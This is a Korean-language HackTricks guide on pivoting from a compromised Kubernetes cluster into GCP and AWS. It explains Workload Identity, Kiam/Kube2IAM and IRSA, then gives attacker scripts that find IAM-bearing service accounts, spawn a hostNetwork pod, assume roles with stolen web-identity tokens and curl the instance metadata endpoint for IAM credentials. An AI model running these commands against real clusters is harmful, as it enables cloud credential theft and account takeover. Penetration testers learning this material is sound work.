Kubernetes Pivoting to Clouds

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

GCP

GCP 내에서 k8s 클러스터를 실행 중인 경우 클러스터 내에서 실행 중인 애플리케이션이 GCP에 액세스해야 할 수도 있습니다. 이를 위해 일반적으로 두 가지 방법을 사용합니다:

GCP-SA 키를 시크릿으로 마운트

kubernetes 애플리케이션에 GCP 액세스를 제공하는 일반적인 방법은 다음과 같습니다:

  • GCP 서비스 계정 생성

  • 원하는 권한을 계정에 바인딩

  • 생성된 SA의 json 키 다운로드

  • 해당 키를 pod 내부에 시크릿으로 마운트

  • GOOGLE_APPLICATION_CREDENTIALS 환경 변수를 json 파일의 경로로 설정

따라서, 공격자로서, pod 내부의 컨테이너를 침투하면 해당 env 변수와 GCP 자격 증명을 가진 json 파일을 확인해야 합니다.

GSA json을 KSA 시크릿과 관련시키기

GSA에 대한 GKE 클러스터의 액세스를 제공하는 방법은 다음과 같이 바인딩하는 것입니다:

  • 다음 명령을 사용하여 GKE 클러스터와 동일한 네임스페이스에 Kubernetes 서비스 계정 생성:

Copy codekubectl create serviceaccount <service-account-name>
  • GKE 클러스터에 액세스 권한을 부여하려는 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 다음 예시와 같이 gcloud 커맨드 라인 도구를 사용하여 이 작업을 수행할 수 있습니다:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 다음 명령을 사용하여 Kubernetes Secret을 Kubernetes 서비스 계정에 바인딩합니다:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

두 번째 단계에서는 GSA의 자격 증명을 KSA의 비밀로 설정했습니다. 그런 다음 GKE 클러스터 내부에서 해당 비밀을 읽을 수 있다면 해당 GCP 서비스 계정으로 승격할 수 있습니다.

GKE Workload Identity

Workload Identity를 사용하면 Kubernetes 서비스 계정을 Google 서비스 계정으로 구성하여 Google Cloud API에 액세스할 때 Kubernetes 서비스 계정으로 실행되는 Pod가 자동으로 Google 서비스 계정으로 인증됩니다.

이 동작을 활성화하기 위한 첫 번째 일련의 단계는 GCP에서 Workload Identity를 활성화하고 k8s가 가장자리를 위장할 GCP SA를 생성하는 것입니다.

  • 새 클러스터에서 Workload Identity를 활성화합니다.

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 새로운 노드 풀 생성/업데이트 (Autopilot 클러스터는 이를 필요로하지 않습니다)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s에서 GCP 권한을 가진 GCP 서비스 계정을 위조합니다:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • 클러스터연결하고 사용할 서비스 계정생성합니다.

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA와 KSA를 바인딩합니다.

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSA와 함께 pod를 실행하고 GSA에 대한 접근을 확인합니다:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

다음 명령어를 사용하여 필요한 경우 인증하세요:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s 내부의 공격자로서, GCP에서 무언가에 접근할 수 있는 것을 나타내는 iam.gke.io/gcp-service-account 주석을 가진 SAs를 찾아야 합니다. 또 다른 옵션은 클러스터 내의 각 KSA를 남용하고 접근할 수 있는지 확인하는 것입니다. GCP에서는 항상 바인딩을 열거하고 Kubernetes 내부의 SAs에게 어떤 접근 권한을 부여하는지 알아내는 것이 흥미로울 것입니다.

다음은 이 주석을 찾기 위해 모든 pod 정의를 쉽게 반복하는 스크립트입니다:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Pods용 IAM 역할)

Pods에 IAM 역할을 부여하는 (오래된) 방법은 Kiam 또는 Kube2IAM 서버를 사용하는 것입니다. 기본적으로 클러스터 내에서 특권이 있는 IAM 역할을 가진 데몬셋을 실행해야 합니다. 이 데몬셋은 필요한 팟에 IAM 역할에 대한 액세스 권한을 부여할 것입니다.

먼저, 네임스페이스 내에서 액세스할 수 있는 역할을 구성해야 합니다. 이를 위해 네임스페이스 객체 내에 주석을 사용하여 구성합니다:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

네임스페이스가 IAM 역할로 구성되면 Pod는 다음과 같이 각 Pod 정의에 원하는 역할을 지정할 수 있습니다.

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

공격자로서, 만약 팟이나 네임스페이스 또는 kube-system에서 실행 중인 kiam/kube2iam 서버에서 이러한 주석을 찾으면, 이미 팟들에 의해 사용되는 모든 역할과 더불어 (AWS 계정에 액세스할 수 있는 경우) 더 많은 역할을 가장할 수 있습니다.

IAM 역할을 사용하여 팟 생성

지정해야 하는 IAM 역할은 kiam/kube2iam 역할과 동일한 AWS 계정에 있어야 하며, 해당 역할이 액세스할 수 있어야 합니다.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

OIDC를 통한 K8s 서비스 계정용 IAM 역할

이것은 AWS에서 권장하는 방법입니다.

  1. 먼저 클러스터에 대한 OIDC 공급자를 생성해야 합니다.

  2. 그런 다음 SA가 필요로 하는 권한을 가진 IAM 역할을 생성합니다.

  3. IAM 역할과 SA 간에 신뢰 관계를 생성합니다. 이때 IAM 역할과 SA의 이름(또는 역할에 액세스 권한을 부여하는 모든 네임스페이스)을 확인합니다. 신뢰 관계는 주로 OIDC 공급자 이름, 네임스페이스 이름 및 SA 이름을 확인합니다.

  4. 마지막으로, IAM 역할의 ARN을 나타내는 주석이 있는 SA를 생성하면 해당 SA로 실행되는 팟은 역할의 토큰에 액세스할 수 있습니다. 토큰파일에 기록되며 경로는 AWS_WEB_IDENTITY_TOKEN_FILE(기본값: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)에 지정됩니다.

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token에서 토큰을 사용하여 aws를 얻으려면 다음을 실행하십시오:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

공격자로서, K8s 클러스터를 열거할 수 있다면, 해당 주석이 있는 서비스 계정을 확인하여 AWS로 승격할 수 있습니다. 이를 위해, IAM 특권 서비스 계정 중 하나를 사용하여 팟을 실행/생성하고 토큰을 도용하면 됩니다.

또한, 팟 내부에 있는 경우, AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN과 같은 환경 변수를 확인하십시오.

일부 경우에는 역할의 신뢰 정책잘못 구성되어, 예상된 서비스 계정에 대한 AssumeRole 액세스 대신 모든 서비스 계정에 대한 액세스를 제공할 수 있습니다. 따라서, 제어된 서비스 계정에 주석을 작성할 수 있다면 역할에 액세스할 수 있습니다.

자세한 내용은 다음 페이지를 참조하십시오:

pageAWS - Federation Abuse

클러스터 내에서 IAM 역할을 가진 팟 및 SAs 찾기

다음은 모든 팟과 sas 정의를 반복하여 해당 주석을 찾는 스크립트입니다:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

노드 IAM 역할

이전 섹션에서는 팟을 사용하여 IAM 역할을 도용하는 방법에 대해 설명했습니다. 그러나 K8s 클러스터의 노드는 클라우드 내의 인스턴스가 될 것입니다. 이는 노드가 도난당할 수 있는 새로운 IAM 역할을 가지고 있을 가능성이 매우 높다는 것을 의미합니다 (일반적으로 K8s 클러스터의 모든 노드는 동일한 IAM 역할을 가지므로 각 노드를 확인하는 것은 가치가 없을 수도 있음을 유의하세요).

그러나 노드에서 메타데이터 엔드포인트에 액세스하기 위해서는 노드에 있어야 합니다 (ssh 세션?) 또는 적어도 동일한 네트워크에 있어야 합니다:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM 역할 토큰 도용

이전에는 IAM 역할을 Pod에 연결하는 방법이나 인스턴스에 연결된 IAM 역할을 도용하기 위해 노드로 탈출하는 방법에 대해 논의했습니다.

다음 스크립트를 사용하여 새롭게 작성한 IAM 역할 자격 증명을 도용할 수 있습니다:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新